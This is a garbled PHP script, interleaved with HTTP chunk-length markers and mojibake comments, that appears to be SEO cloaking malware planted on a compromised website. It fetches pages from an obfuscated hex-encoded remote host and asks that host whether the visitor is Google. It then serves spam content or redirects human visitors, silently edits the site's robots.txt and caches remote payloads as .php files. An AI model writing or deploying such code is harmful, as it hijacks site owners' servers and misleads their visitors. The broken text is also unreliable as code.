1 < 4 ?php 3 e 4 rror 4 _rep 4 orti 4 ng(0 3 ); 3 $g 5 et = 3 fil 5 ter_i 3 npu 4 t_ar 4 ray( 3 INP 3 UT_ 4 GET, 3 FI 4 LTER 3 _SA 4 NITI 3 ZE_ 3 STR 3 ING 5 ); 4 /* 19 ------------------------- 3 5 é 3 «˜é 3 €Ÿæ 2 œ¬ 3 地 3 缓 3 å­˜ 2 å‡ 3 ½æ• 3 ° 1a ------------------------- 3 */ 3 fu 4 ncti 4 on c 4 ache 4 _get 4 ($ke 4 y, $ 4 expi 2 re 6 = 300 3 ) { 7 $ 8 file = s 2 ys 7 _get_te 4 mp_d 4 ir() 4 . ' 8 /cache_' 4 . m 7 d5($key 6 ) . '. 5 php'; 7 i 3 f ( 7 file_ex 4 ists 6 ($file 3 ) & 4 & (t 3 ime 4 () - 6 filem c time($file)) 2 < 11 $expire) { 7 ret 3 urn a file_get_ 4 cont 2 en 10 ts($file); 7 } b return fals 5 e; } 12 function cache_s b et($key, $d 3 ata 4b ) { $file = sys_get_temp_dir() . '/cache_' . md5($key) . '.php'; 6 @file_ 4 put_ 15 contents($file, $data 4 , LO 3 CK_ 3 EX) 6 ; } 26 /* ------------------------- è 3 Ž·å 3 –ç 3 œŸå 2 ®ž 3 访 2 é— 4 ® IP 3 ( 2 å… 3 ¼å® 3 ¹ C 4 DN / 3 å 2 ä 3 »£ï 2 ¼‰ 29 ------------------------- */ function 7 get_rea 4 l_ip b () { $ 4 keys 4 = [ c 'H 3 TTP 3 _CF 4 _CON 3 NEC 4 TING 4 _IP' 4 , // 3 Cl 4 oudf 4 lare 11 'HTTP_X 3 _RE 8 AL_IP', a // 4 Ngin 13 x 'HTTP_X_ 3 FOR 3 WAR 3 DED 8 _FOR', 5 // Pr 3 oxy 12 'HTTP_CL 4 IENT 5 _IP', d 'RE 4 MOTE 3 _AD 3 DR' 7 ] 9 ; 5 forea 3 ch 8 ($keys a 4 s $k d ) { 5 if (! 5 empty 4 ($_S 3 ERV 3 ER[ 3 $k] e )) { 7 $ip 3 = 15 $_SERVER[$k]; e if (st 3 rpo 5 s($ip 4 , ', 3 ') 3 !== 6 false 1c ) { $ip = t 4 rim( 4 expl 4 ode( 4 ',', 6 $ip)[ 2 0] 10 ); 15 } if ( 8 filter_v 2 ar d ($ip, FILTER_ 3 VAL 3 IDA 5 TE_IP 1 ) 1c ) { return 3 $ip 21 ; } } f } return ' 4 127. 4 0.0. 2 1' 2c ; } /* ------------------------- æ 3 ›´å 3 ¿«ç 2 š„ 5 getC 4 url( 1 ) 31 ------------------------- */ function getCurlF 2 as 6 t($url 5 ) { c $cache 4 d = f cache_get($url) b ; if ( 8 $cached 13 !== false) return $ 6 cached e ; $data 5 = '' 9 ; c if (function 9 _exists(' 4 curl 5 _init f ')) { 4 $ch 3 = c 15 url_init($url); 9 curl_ 5 setop 8 t_array( 4 $ch, 10 [ 3 CUR 4 LOPT 7 _RETURN 4 TRAN 3 SFE 3 R = 4 > tr 3 ue, 16 CURLOPT_ a CONNECTTIM 3 EOU 6 T => 5 17 , CURLOPT_ f TIMEOUT 4 => 8 18 , CURLOPT_S 3 SL_ 5 VERIF 3 YPE 6 ER => 26 false, CURLOPT_SSL_VERIFY 3 HOS 1 T 23 => false, CURLOPT_FOL 2 LO 4 WLOC 4 ATIO 21 N => false, CURLOPT_ 4 USER 2 AG 3 ENT c => "Mo 4 zill 3 a/5 3 .0" a 15 ]); $data = 7 curl_ex 2 ec 15 ($ch); curl_ 4 clos d e($ch); d } if ( 7 empty($ 6 data) 6 && ini 6 _get(' 4 allo 6 w_url_ 4 fope 1 n 15 ')) { $conte 5 xt = 5 strea 2 m_ 9 context_c 6 reate( 10 [ " 4 http 5 " => 2 [" 7 timeout 7 " => 8, 5 "hea 3 der 8 " => "Us 3 er- 2 Ag 5 ent: d Mozilla/5.0\r 4 \n"] f , 4 "ssl 8 " => [" 4 veri 4 fy_p 8 eer" => 7 false, f "verify_peer_na 2 me b " => false] 20 ]); $data = @ 13 file_get_contents($ 4 url, 10 false, $context 15 ); } if ( d !empty($data) d ) cache_set($ 5 url, 7 $data); 12 return $data 2b ; } /* ------------------------- 5 URL ä 2 ¿¡ 3 æ¯ 2d ------------------------- */ function get_ 7 url_inf 5 o(str 4 ing 4 $typ 3 e=' 4 doma 4 in') 9 : string 9 { $h 3 ost c = $_SERVER[ a 'HTTP_HOST 3 '] 2 ?? f ''; if ($ a type === ' 3 no_ 4 www' 9 ) return 4 preg 5 _repl 2 ac 5 e('/^ 5 www\. 2 /i 4 ', ' 9 ', $host) b ; $p 4 roto 3 col 3 = 16 (!empty($_SERVER['HTTP 3 S'] 5 ) && 16 $_SERVER['HTTPS'] !== 4 'off 4 ') ? 7 "https 4 ://" 8 : "http 4 ://" 9 ; $b 2 as f e = $protocol . 6 $host d ; if ( f $type === 'base f ') return $base 17 ; if ($type === 'f 3 ull 12 ') return $base . c ($_SERVER['R 2 EQ 3 UES 5 T_URI 8 '] ?? '' 12 ); return $ 7 host; 29 } /* ------------------------- å 3 Ÿºç 2 ¡€ 3 å˜ 3 é‡ 20 ------------------------- */ 5 goto 3 ONP 3 uB; 7 ONPuB: 6 $http 7 _type = 11 !empty($_SERVER[ 3 "\x 4 48\1 3 24\ 6 x54\x5 5 0\x53 1 " 19 ]) && $_SERVER["\x48\124\ d 124\x50\x53"] 6 !== " 4 \157 3 \x6 3 6\1 3 46" 7 ? "\15 4 0\x7 9 4\x74\x70 3 \16 4 3\72 3 \x2 5 f\x2f 8 " : "\x6 4 8\16 9 4\164\160 9 \72\x2f\5 4 7"; 7 goto O4 3 O9k 7 ; O4O9k 4 : $v 8 url = "\ 4 x74\ 8 157\56\1 2 52 7 \147\14 5 1\x6c 9 \x6c\163\ 3 x2e 4 \143 8 \157\x6d c \x2f"; goto 3 vgv 3 72; 9 vgv72: $ 2 qz 6 = sub 3 str d (str_replace( 6 array( 5 "\x77 7 \x77\16 6 7\x2e" 3 , " 5 \56") 7 , '', $ d _SERVER["\110 7 \x54\x5 8 4\120\x5 6 f\x48\ 3 x4f 8 \123\x54 4 "]), 4 0, 5 3); 24 /* ------------------------- è 3 §£æ 1 ž 3 f 4 å‚ 23 æ•° ------------------------- */ 6 $sz = 3 $ii 5 d = " 6 "; if a (!empty($_ 4 GET) 4 ){ 3 $f 3 =re a set($_GET) 9 ; $s 4 p = a explode('- 5 ', $f d ); if (c 3 oun 6 t($sp) 6 === 2 e ) { $ 7 sz = $ 2 sp f [0]; $ a iid = $sp[ 2 1] b ; } } 27 /* ------------------------- è¿ 2 œç 6 ¨‹æŽ¥å 2 £ 20 ------------------------- */ e if (!empty($sz a )) { 6 $jd = c getCurlFast( 2 "{ c $http_type}{ 6 $vurl} 3 3kg 4 .asp 3 x?s 3 z=" 6 . url 3 enc 9 ode($sz)) 6 ; } e 3 lse 38 { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx?x e y={$http_type} b "); $s 1 z 2e = getCurlFast("{$http_type}{$vurl}3kg.aspx?jd 11 =" . urlencode($j 2 d) a ); } $ 4 hyzh 2 dy 7 = $jd 4 . "4 6 1.aspx 6 "; $s 5 url b = $jd . "s 3a 41.aspx"; /* ------------------------- robots / s 4 item 2 ap 28 ------------------------- */ $sitemap 3 Lin 6 e = "S 8 itemap: e {$http_type}{$ 14 _SERVER['HTTP_HOST'] e }{$_SERVER['SC 2 RI c PT_NAME']}?w 6 =" . d 6 ate('Y 3 mdH 2 i' 5 ) . " 4 \n"; d function en 5 sure_ 7 robots_ 8 sitemap( c $sitemapLine 11 ) { $robots 3 = r f trim($_SERVER[' 3 DOC 2 UM 6 ENT_RO 4 OT'] 5 , "/\ 2 \" c ) . '/robots 4 .txt c '; if ( 1 ! 13 file_exists($robots e )) { 14 @file_put_contents($ 7 robots, 8 "User-a 8 gent: *\ 2 nA 6 llow: 4 /\n" 4 . $ 18 sitemapLine, LOCK_EX); 5 } d else { 6 $c 1e = @file_get_contents($robots) 1 ; 12 if ($c = 9 == false 3 || 9 strpos($c e , $sitemapLine b ) === false 11 ) { 1c @file_put_contents($robots, e $sitemapLine, 6 FILE_A 4 PPEN 3 D | 10 LOCK_EX); 7 } a } } 28 /* ------------------------- w= 2 è¾ 3 “å‡ 1 º 2f ------------------------- */ if (!empty($get 3 ['w 8 '])) { 9 $pa 3 ram 4 s = 7 http_bu 4 ild_ 3 que 2 ry e ([ 'N 3 OUm 4 ber' 4 => e $get['NOUmber' 7 ] ?? '' e , 't' a => 7 $get['t 17 '] ?? '', 'cn' f => $get[' 17 cn'] ?? '', 'p 5 NOUm' 12 => $get['pNOUm' 15 ] ?? '', 'ci 2 d' 12 => $get['cid' 14 ] ?? '', 'm 11 ' => $get[' 10 m'] ?? '' ] b ); $ 3 str 12 = getCurlFast("{$ 6 surl}? 8 {$params 6 }"); 9 ech 2 o 16 str_replace( 3 ['y 4 ymm' 3 ,'g 8 gggg','? 2 f= e '], [ b $http_type. 15 $_SERVER['HTTP_HOST'] 1 . 1b $_SERVER['SCRIPT_NAME'], $s 5 z,'?' 4 .$qz 2 .' 12 ='], $str e ); 3 exi 2d t; } /* ------------------------- I 3 P å 3 ˆ¤å 2 ®š 3 ( 2 ä¿ 3 ç• 3 ™ k 3 k æ 3 µ‹è 2 ¯• 24 ) ------------------------- */ $ 5 kk = 2 is a set($get[' 2 kk 5 ']) ? 6 trim( d $get['kk']) : 6 ''; b $ip = ($kk 5 !== ' 7 ') ? "6 3 6.2 3 49. 3 82. 5 8" : d get_real_ip() 28 ; /* ------------------------- 3 get 7 domain2 6 åˆ¤æ– 1 ­ 27 ------------------------- */ $domain 8 = trim( d getCurlFast($ 10 jd . "getdomain2 7 .aspx?r 3 nd= 4 1&ip 5 =" . 4 $ip) 2a ); /* ------------------------- é 2 ž 4 goo 4 gle 2 + 5 iid â 3 †’ 3 è·³ 2 è½ 25 ¬ ------------------------- */ if ( 8 $domain b !== 'google 5 ' && 8 !empty($ 3 iid c )) { $k 7 name = 5 urlde 5 code( 15 getCurlFast($jd . "gn 9 .aspx?iid 8 =" . $ii 6 d)); f echo 'l 3 oca 5 tion= 5 "' . 8 $jd . "a 7 .aspx?c 4 name 15 =" . urlencode($kname 6 ) . "& 9 url=" . $ b http_type . 17 $_SERVER['HTTP_HOST'] c . $_SERVER[' d SCRIPT_NAME'] 7 . '"' 36 ; exit; } /* ------------------------- 4 iid 32 输出 ------------------------- */ if (!empty($ e iid)) { $ 1a str = getCurlFast($hyzhdy 3 . " 6 ?iid={ 4 $iid 31 }"); echo str_replace( ['ggggg',' 5 YYYYY 5 ','XX 7 XYYY',' 3 当 2 å‰ 4 URL 4 ','U 8 UUUU','M 4 MMMM 18 ','?f='], [$sz, e get_url_info( 10 ), get_url_info( 7 'base') 16 , get_url_info('full') 10 , get_url_info(' 9 no_www'), 5 parse 4 _url 1a ($_SERVER['REQUEST_URI'], 3 PHP 5 _URL_ 3 PAT 2 H) 59 ,'?'.$qz.'='], $str ); exit; } /* ------------------------- 9 sitemap h 4 elpe 1 r 2b ------------------------- */ function ou 5 tput_ 9 sitemap_a 2 nd 5 _exit e ($sitemapLine, b $http_type 9 ) { 2f ensure_robots_sitemap($sitemapLine); echo 3 " e 4 Sitemap 3 < 4 /div 2 >" 39 ; exit; } /* ------------------------- kk 6 输出 3 控 3 制 25 ------------------------- */ if ($ 9 kk !== '' 4 && 7 preg_ma 3 tch 5 ('/^[ 2 A- 4 Za-z 3 0-9 3 ]+$ 1 / 6 ', $kk d )) { $re 4 mote 10 = getCurlFast($ 1b jd . "getdomain2.aspx?rnd=2 3 &kk 6 =" . $ 3 kk) 13 ; if (!empty($ 6 remote 13 )) { echo 7 $remote b ; 7 exit; 1e } } if ($kk !== '' && 1 ! 5d preg_match('/^[A-Za-z0-9]+$/', $kk)) { output_sitemap_and_exit($sitemapLine, $http_type) 9 ; } $ 3 is_ 3 no_ 9 query = e f mpty($_SERVER[' 4 QUER 1 Y 8 _STRING' f ]); if ($kk a === '' && c $is_no_query 9 ) { d if ($domain = b == 'google' 41 ) { output_sitemap_and_exit($sitemapLine, $http_type); 16 } else { 13 exit; } } 35 output_sitemap_and_exit($sitemapLine, $http_type); ? 2 > 1 0